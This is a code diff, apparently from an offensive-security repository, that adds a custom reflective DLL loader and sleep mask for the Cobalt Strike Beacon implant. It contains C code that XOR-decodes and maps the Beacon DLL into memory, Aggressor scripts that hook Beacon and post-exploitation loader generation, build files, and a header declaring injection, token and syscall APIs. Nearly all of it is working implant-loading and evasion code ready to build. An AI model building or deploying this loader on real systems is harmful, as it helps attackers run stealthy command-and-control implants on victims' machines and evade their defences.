__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); }
|
||||
#endif
|
||||
|
||||
void go ( )
|
||||
{
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ );
|
||||
RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ );
|
||||
|
||||
char * dll_src = MSVCRT$malloc ( masked_dll->length );
|
||||
|
||||
for ( size_t i = 0; i < masked_dll->length; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
USER_DATA bud;
|
||||
ALLOCATED_MEMORY memory;
|
||||
|
||||
memset ( &bud, 0, sizeof ( USER_DATA ) );
|
||||
memset ( &memory, 0, sizeof ( ALLOCATED_MEMORY ) );
|
||||
|
||||
bud.version = 0x041200;
|
||||
bud.allocatedMemory = &memory;
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION cleanup_info;
|
||||
memset ( &cleanup_info, 0, sizeof ( ALLOCATED_MEMORY_CLEANUP_INFORMATION ) );
|
||||
|
||||
cleanup_info.AllocationMethod = METHOD_VIRTUALALLOC;
|
||||
cleanup_info.Cleanup = TRUE;
|
||||
|
||||
memory.AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY;
|
||||
memory.AllocatedMemoryRegions[0].AllocationBase = dll_dst;
|
||||
memory.AllocatedMemoryRegions[0].RegionSize = SizeOfDLL ( &dll_data );
|
||||
memory.AllocatedMemoryRegions[0].Type = MEM_PRIVATE;
|
||||
memory.AllocatedMemoryRegions[0].CleanupInformation = cleanup_info;
|
||||
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
fix_section_permissions ( &dll_data, dll_dst, &memory.AllocatedMemoryRegions [ 0 ] );
|
||||
|
||||
DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
MSVCRT$free ( dll_src );
|
||||
|
||||
dll_main ( ( HINSTANCE ) NULL, DLL_BEACON_USER_DATA, &bud );
|
||||
dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
dll_main ( ( HINSTANCE ) &go, 4, NULL );
|
||||
}
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region )
|
||||
{
|
||||
DWORD section_count = dll_data->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( size_t i = 0; i < section_count; i++ )
|
||||
{
|
||||
void * section_dst = dll_dst + section_hdr->VirtualAddress;
|
||||
DWORD section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
DWORD new_protect;
|
||||
DWORD old_protect;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
region->Sections[i].Label = get_label_from_section_header ( section_hdr );
|
||||
region->Sections[i].BaseAddress = section_dst;
|
||||
region->Sections[i].VirtualSize = section_size;
|
||||
region->Sections[i].CurrentProtect = new_protect;
|
||||
region->Sections[i].PreviousProtect = new_protect;
|
||||
region->Sections[i].MaskSection = TRUE;
|
||||
|
||||
section_hdr++;
|
||||
}
|
||||
}
|
||||
|
||||
ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr )
|
||||
{
|
||||
DWORD hash = ror13hash ( ( const char * ) section_hdr->Name );
|
||||
|
||||
switch ( hash )
|
||||
{
|
||||
case 0xebc2f9b4:
|
||||
return LABEL_TEXT;
|
||||
|
||||
case 0xcba738b8:
|
||||
return LABEL_RDATA;
|
||||
|
||||
case 0xcba2f8a1:
|
||||
return LABEL_DATA;
|
||||
|
||||
case 0xcba718b8:
|
||||
return LABEL_PDATA;
|
||||
|
||||
case 0xcd7f3b7a:
|
||||
return LABEL_RELOC;
|
||||
|
||||
default:
|
||||
return LABEL_EMPTY;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z );
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value [ ];
|
||||
} RESOURCE;
|
||||
|
||||
void go ( );
|
||||
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, ALLOCATED_MEMORY_REGION * region );
|
||||
ALLOCATED_MEMORY_LABEL get_label_from_section_header ( IMAGE_SECTION_HEADER * section_hdr );
|
||||
@@ -15,7 +15,7 @@
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
@@ -26,11 +26,19 @@
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
@@ -40,6 +48,12 @@ typedef struct {
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
@@ -50,6 +64,7 @@ void dprintf(char * format, ...);
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
@@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction);
|
||||
char * findModuleByHash(DWORD moduleHash);
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
debug ( 7 );
|
||||
|
||||
import crystalpalace.spec.* from: crystalpalace.jar;
|
||||
import java.util.HashMap;
|
||||
|
||||
sub print_info {
|
||||
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Loaders]\o " . $1 );
|
||||
}
|
||||
|
||||
sub print_error {
|
||||
println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Loaders]\o " . $1 );
|
||||
}
|
||||
|
||||
# ----------------------------------
|
||||
# $1 - Beacon payload file name
|
||||
# $2 - Beacon payload (dll binary)
|
||||
# $3 - Beacon architecture (x86/x64)
|
||||
# ----------------------------------
|
||||
set BEACON_RDLL_GENERATE
|
||||
{
|
||||
local ( '$path $spec $cap $final' );
|
||||
|
||||
$path = getFileProper ( script_resource ( "loader" ), "loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $path ];
|
||||
$cap = [ Capability Parse: $2 ];
|
||||
$final = [ $spec run: $cap, [ new HashMap ] ];
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
print_error ( "Failed to build custom loader." );
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info ( "Built custom loader." );
|
||||
return $final;
|
||||
}
|
||||
|
||||
# ----------------------------------
|
||||
# $1 - Beacon payload file name
|
||||
# $2 - Beacon payload (dll binary)
|
||||
# $3 - Beacon architecture (x86/x64)
|
||||
# $4 - Parent beacon ID
|
||||
# $5 - GetModuleHandleA pointer
|
||||
# $6 - GetProcAddress pointer
|
||||
# ----------------------------------
|
||||
set BEACON_RDLL_GENERATE_LOCAL
|
||||
{
|
||||
local ( '$path $spec $cap $vars $final' );
|
||||
|
||||
$path = getFileProper ( script_resource ( "loader" ), "smart-loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $path ];
|
||||
$cap = [ Capability Parse: $2 ];
|
||||
|
||||
$vars = [ new HashMap ];
|
||||
[ $vars put: "\$GMH", cast ( $5, 'b' ) ];
|
||||
[ $vars put: "\$GPA", cast ( $6, 'b' ) ];
|
||||
|
||||
$final = [ $spec run: $2, $vars ];
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
print_error ( "Failed to build custom loader." );
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info ( "Built custom loader." );
|
||||
return $final;
|
||||
}
|
||||
|
||||
# ------------------------------------
|
||||
# $1 – Post-ex payload file name
|
||||
# $2 – Post-ex payload (dll binary)
|
||||
# $3 – Post-ex architecture (x86/x64)
|
||||
# $4 – parent Beacon ID
|
||||
# $5 – GetModuleHandle pointer
|
||||
# $6 – GetProcAddress pointer
|
||||
# ------------------------------------
|
||||
set POSTEX_RDLL_GENERATE
|
||||
{
|
||||
local ( '$path $spec $cap $vars $final' );
|
||||
|
||||
# not sure how smart inject works for cross-arch
|
||||
# injection because pointers are different sizes
|
||||
if ( barch ( $4 ) ne $3 ) {
|
||||
print_error ( "Cannot use smart inject for cross-arch injection. Falling back to default loader." );
|
||||
return $null;
|
||||
}
|
||||
|
||||
$path = getFileProper ( script_resource ( "postex" ), "loader.spec" );
|
||||
$spec = [ LinkSpec Parse: $path ];
|
||||
$cap = [ Capability Parse: $2 ];
|
||||
|
||||
$vars = [ new HashMap ];
|
||||
[ $vars put: "\$GMH", cast ( $5, 'b' ) ];
|
||||
[ $vars put: "\$GPA", cast ( $6, 'b' ) ];
|
||||
|
||||
$final = [ $spec run: $2, $vars ];
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
print_error ( "Failed to build custom postex loader." );
|
||||
return $null;
|
||||
}
|
||||
|
||||
print_info ( "Built custom postex loader." );
|
||||
return $final;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
debug ( 7 );
|
||||
|
||||
import crystalpalace.spec.* from: crystalpalace.jar;
|
||||
import java.util.HashMap;
|
||||
|
||||
sub print_info {
|
||||
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Mask]\o " . $1 );
|
||||
}
|
||||
|
||||
sub print_error {
|
||||
println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Mask]\o " . $1 );
|
||||
}
|
||||
|
||||
# ----------------------------------
|
||||
# $1 - Beacon type (default, pivot)
|
||||
# $2 - Beacon architecture (x86/x64)
|
||||
# ----------------------------------
|
||||
set BEACON_SLEEP_MASK
|
||||
{
|
||||
local ( '$path $spec $cap $coff $final' );
|
||||
|
||||
$path = getFileProper ( script_resource ( "mask" ), "mask.spec" );
|
||||
|
||||
$spec = [ LinkSpec Parse: $path ];
|
||||
$cap = [ Capability None: $2 ];
|
||||
$coff = [ $spec run: $cap, [ new HashMap ] ];
|
||||
|
||||
$final = bof_extract ( $coff, "go" );
|
||||
|
||||
if ( strlen ( $final ) == 0 )
|
||||
{
|
||||
print_error ( "Failed to build custom sleepmask." );
|
||||
return $null;
|
||||
}
|
||||
|
||||
|
||||
print_info ( "Built custom sleepmask." );
|
||||
return $final;
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
CC=i686-w64-mingw32-gcc
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith
|
||||
|
||||
.PHONY: all x86 x64 clean
|
||||
|
||||
all: x86 x64
|
||||
|
||||
bin:
|
||||
mkdir -p bin
|
||||
|
||||
x86: bin
|
||||
$(CC) -DWIN_X86 $(CFLAGS) -c src/mask.c -o bin/mask.x86.o
|
||||
|
||||
x64: bin
|
||||
$(CC_64) -DWIN_X64 $(CFLAGS) -c src/mask.c -o bin/mask.x64.o
|
||||
|
||||
clean:
|
||||
rm -rf bin
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
|
||||
x86:
|
||||
load "bin/mask.x86.o"
|
||||
make coff +optimize
|
||||
mergelib "../libtcg.x86.zip"
|
||||
export
|
||||
|
||||
x64:
|
||||
load "bin/mask.x64.o"
|
||||
make coff +optimize
|
||||
mergelib "../libtcg.x64.zip"
|
||||
export
|
||||
@@ -0,0 +1,392 @@
|
||||
/*
|
||||
* Beacon Object Files (BOF)
|
||||
* -------------------------
|
||||
* A Beacon Object File is a light-weight post exploitation tool that runs
|
||||
* with Beacon's inline-execute command.
|
||||
*
|
||||
* Additional BOF resources are available here:
|
||||
* - https://github.com/Cobalt-Strike/bof_template
|
||||
*
|
||||
* Cobalt Strike 4.x
|
||||
* ChangeLog:
|
||||
* 1/25/2022: updated for 4.5
|
||||
* 7/18/2023: Added BeaconInformation API for 4.9
|
||||
* 7/31/2023: Added Key/Value store APIs for 4.9
|
||||
* BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
|
||||
* 8/31/2023: Added Data store APIs for 4.9
|
||||
* BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
|
||||
* BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
|
||||
* 9/01/2023: Added BeaconGetCustomUserData API for 4.9
|
||||
* 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
|
||||
* Updated the BEACON_INFO data structure to add new parameters
|
||||
* 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
|
||||
* 4/25/2024: Added APIs to call Beacon's system call implementation
|
||||
* 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes)
|
||||
* 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11
|
||||
* 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12
|
||||
* 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12
|
||||
* 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12
|
||||
*/
|
||||
|
||||
/* data API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} datap;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
|
||||
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
|
||||
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
|
||||
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
|
||||
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
|
||||
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
|
||||
|
||||
/* format API */
|
||||
typedef struct {
|
||||
char * original; /* the original buffer [so we can free it] */
|
||||
char * buffer; /* current pointer into our buffer */
|
||||
int length; /* remaining length of data */
|
||||
int size; /* total size of this buffer */
|
||||
} formatp;
|
||||
|
||||
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
|
||||
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
|
||||
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
|
||||
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
|
||||
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
|
||||
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
|
||||
|
||||
/* Output Functions */
|
||||
#define CALLBACK_OUTPUT 0x0
|
||||
#define CALLBACK_OUTPUT_OEM 0x1e
|
||||
#define CALLBACK_OUTPUT_UTF8 0x20
|
||||
#define CALLBACK_ERROR 0x0d
|
||||
#define CALLBACK_CUSTOM 0x1000
|
||||
#define CALLBACK_CUSTOM_LAST 0x13ff
|
||||
|
||||
|
||||
DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
|
||||
DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
|
||||
DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length);
|
||||
|
||||
|
||||
/* Token Functions */
|
||||
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
|
||||
DECLSPEC_IMPORT void BeaconRevertToken();
|
||||
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
|
||||
|
||||
/* Spawn+Inject Functions */
|
||||
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
|
||||
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
|
||||
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
|
||||
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
|
||||
|
||||
/* Utility Functions */
|
||||
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
|
||||
|
||||
/* Beacon Information */
|
||||
/*
|
||||
* ptr - pointer to the base address of the allocated memory.
|
||||
* size - the number of bytes allocated for the ptr.
|
||||
*/
|
||||
typedef struct {
|
||||
char * ptr;
|
||||
size_t size;
|
||||
} HEAP_RECORD;
|
||||
#define MASK_SIZE 13
|
||||
|
||||
/* Information the user can set in the USER_DATA via a UDRL */
|
||||
typedef enum {
|
||||
PURPOSE_EMPTY,
|
||||
PURPOSE_GENERIC_BUFFER,
|
||||
PURPOSE_BEACON_MEMORY,
|
||||
PURPOSE_SLEEPMASK_MEMORY,
|
||||
PURPOSE_BOF_MEMORY,
|
||||
PURPOSE_UDC2_MEMORY,
|
||||
PURPOSE_USER_DEFINED_MEMORY = 1000
|
||||
} ALLOCATED_MEMORY_PURPOSE;
|
||||
|
||||
typedef enum {
|
||||
LABEL_EMPTY,
|
||||
LABEL_BUFFER,
|
||||
LABEL_PEHEADER,
|
||||
LABEL_TEXT,
|
||||
LABEL_RDATA,
|
||||
LABEL_DATA,
|
||||
LABEL_PDATA,
|
||||
LABEL_RELOC,
|
||||
LABEL_USER_DEFINED = 1000
|
||||
} ALLOCATED_MEMORY_LABEL;
|
||||
|
||||
typedef enum {
|
||||
METHOD_UNKNOWN,
|
||||
METHOD_VIRTUALALLOC,
|
||||
METHOD_HEAPALLOC,
|
||||
METHOD_MODULESTOMP,
|
||||
METHOD_NTMAPVIEW,
|
||||
METHOD_USER_DEFINED = 1000,
|
||||
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
|
||||
|
||||
/**
|
||||
* This structure allows the user to provide additional information
|
||||
* about the allocated heap for cleanup. It is mandatory to provide
|
||||
* the HeapHandle but the DestroyHeap Boolean can be used to indicate
|
||||
* whether the clean up code should destroy the heap or simply free the pages.
|
||||
* This is useful in situations where a loader allocates memory in the
|
||||
* processes current heap.
|
||||
*/
|
||||
typedef struct _HEAPALLOC_INFO {
|
||||
PVOID HeapHandle;
|
||||
BOOL DestroyHeap;
|
||||
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
|
||||
|
||||
typedef struct _MODULESTOMP_INFO {
|
||||
HMODULE ModuleHandle;
|
||||
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
|
||||
|
||||
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
|
||||
HEAPALLOC_INFO HeapAllocInfo;
|
||||
MODULESTOMP_INFO ModuleStompInfo;
|
||||
PVOID Custom;
|
||||
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
|
||||
BOOL Cleanup;
|
||||
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
|
||||
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
|
||||
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_SECTION {
|
||||
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
|
||||
PVOID BaseAddress; // Pointer to virtual address of section
|
||||
SIZE_T VirtualSize; // Virtual size of the section
|
||||
DWORD CurrentProtect; // Current memory protection of the section
|
||||
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
|
||||
BOOL MaskSection; // A boolean to indicate whether the section should be masked
|
||||
DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading
|
||||
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
|
||||
|
||||
typedef struct _ALLOCATED_MEMORY_REGION {
|
||||
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
|
||||
PVOID AllocationBase; // The base address of the allocated memory block
|
||||
SIZE_T RegionSize; // The size of the allocated memory block
|
||||
DWORD Type; // The type of memory allocated
|
||||
DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading
|
||||
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
|
||||
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
|
||||
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
|
||||
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
|
||||
|
||||
/*
|
||||
* version - The version of the beacon dll was added for release 4.10
|
||||
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
|
||||
* e.g. 0x040900 -> CS 4.9
|
||||
* 0x041000 -> CS 4.10
|
||||
*
|
||||
* sleep_mask_ptr - pointer to the sleep mask base address
|
||||
* sleep_mask_text_size - the sleep mask text section size
|
||||
* sleep_mask_total_size - the sleep mask total memory size
|
||||
*
|
||||
* beacon_ptr - pointer to beacon's base address
|
||||
* The stage.obfuscate flag affects this value when using CS default loader.
|
||||
* true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
|
||||
* false: beacon_ptr = allocated_buffer (A valid address)
|
||||
* For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
|
||||
* when the 2nd argument is set to DLL_PROCESS_ATTACH.
|
||||
* heap_records - list of memory addresses on the heap beacon wants to mask.
|
||||
* The list is terminated by the HEAP_RECORD.ptr set to NULL.
|
||||
* mask - the mask that beacon randomly generated to apply
|
||||
*
|
||||
* Added in version 4.10
|
||||
* allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
|
||||
* via a UDRL.
|
||||
*/
|
||||
typedef struct {
|
||||
unsigned int version;
|
||||
char * sleep_mask_ptr;
|
||||
DWORD sleep_mask_text_size;
|
||||
DWORD sleep_mask_total_size;
|
||||
|
||||
char * beacon_ptr;
|
||||
HEAP_RECORD * heap_records;
|
||||
char mask[MASK_SIZE];
|
||||
|
||||
ALLOCATED_MEMORY allocatedMemory;
|
||||
} BEACON_INFO, *PBEACON_INFO;
|
||||
|
||||
DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
|
||||
|
||||
/* Key/Value store functions
|
||||
* These functions are used to associate a key to a memory address and save
|
||||
* that information into beacon. These memory addresses can then be
|
||||
* retrieved in a subsequent execution of a BOF.
|
||||
*
|
||||
* key - the key will be converted to a hash which is used to locate the
|
||||
* memory address.
|
||||
*
|
||||
* ptr - a memory address to save.
|
||||
*
|
||||
* Considerations:
|
||||
* - The contents at the memory address is not masked by beacon.
|
||||
* - The contents at the memory address is not released by beacon.
|
||||
*
|
||||
*/
|
||||
DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
|
||||
DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
|
||||
DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
|
||||
|
||||
/* Beacon Data Store functions
|
||||
* These functions are used to access items in Beacon's Data Store.
|
||||
* BeaconDataStoreGetItem returns NULL if the index does not exist.
|
||||
*
|
||||
* The contents are masked by default, and BOFs must unprotect the entry
|
||||
* before accessing the data buffer. BOFs must also protect the entry
|
||||
* after the data is not used anymore.
|
||||
*
|
||||
*/
|
||||
|
||||
#define DATA_STORE_TYPE_EMPTY 0
|
||||
#define DATA_STORE_TYPE_GENERAL_FILE 1
|
||||
|
||||
typedef struct {
|
||||
int type;
|
||||
DWORD64 hash;
|
||||
BOOL masked;
|
||||
char* buffer;
|
||||
size_t length;
|
||||
} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
|
||||
|
||||
DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
|
||||
DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
|
||||
DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
|
||||
|
||||
/* Beacon User Data functions */
|
||||
DECLSPEC_IMPORT char * BeaconGetCustomUserData();
|
||||
|
||||
/* Beacon System call */
|
||||
/* Syscalls API */
|
||||
typedef struct
|
||||
{
|
||||
PVOID fnAddr;
|
||||
PVOID jmpAddr;
|
||||
DWORD sysnum;
|
||||
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntProtectVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntFreeVirtualMemory;
|
||||
SYSCALL_API_ENTRY ntGetContextThread;
|
||||
SYSCALL_API_ENTRY ntSetContextThread;
|
||||
SYSCALL_API_ENTRY ntResumeThread;
|
||||
SYSCALL_API_ENTRY ntCreateThreadEx;
|
||||
SYSCALL_API_ENTRY ntOpenProcess;
|
||||
SYSCALL_API_ENTRY ntOpenThread;
|
||||
SYSCALL_API_ENTRY ntClose;
|
||||
SYSCALL_API_ENTRY ntCreateSection;
|
||||
SYSCALL_API_ENTRY ntMapViewOfSection;
|
||||
